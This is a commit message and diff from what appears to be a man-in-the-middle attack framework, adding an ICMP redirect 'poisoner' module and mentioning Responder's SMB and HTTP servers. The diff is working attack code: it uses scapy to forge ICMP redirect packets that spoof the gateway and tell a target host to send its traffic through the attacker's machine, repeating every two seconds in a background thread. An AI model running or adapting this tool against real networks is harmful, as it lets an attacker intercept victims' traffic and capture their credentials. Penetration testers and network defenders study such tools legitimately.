first pass at refactoring:

directory structure has been simplified by grouping all the poisoners and servers in one folder
impacket smb server has been replaced with responder's
flask http server has beem replaced with responder's
modified config file to support new changes

core/poisoners/ICMP.py

@@ -0,0 +1,60 @@
+# Copyright (c) 2014-2016 Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import logging
+import threading
+
+from time import sleep
+from core.logger import logger
+from scapy.all import IP, ICMP, UDP, sendp
+
+formatter = logging.Formatter("%(asctime)s [ICMPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
+log = logger().setup_logger("ICMPpoisoner", formatter)
+
+class ICMPpoisoner():
+
+    def __init__(self, options):
+
+        self.target        = options.target
+        self.gateway       = options.gateway
+        self.interface     = options.interface
+        self.ip_address    = options.ip
+        self.debug         = False
+        self.send          = True
+        self.icmp_interval = 2
+
+    def build_icmp(self):
+        pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
+              IP(src=self.target, dst=self.gateway)/UDP()
+
+        return pkt
+
+    def start(self):
+        pkt = self.build_icmp()
+
+        t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,))
+        t.setDaemon(True)
+        t.start()
+
+    def stop(self):
+        self.send = False
+        sleep(3)
+
+    def send_icmps(self, pkt, interface, debug):
+        while self.send:
+            sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug)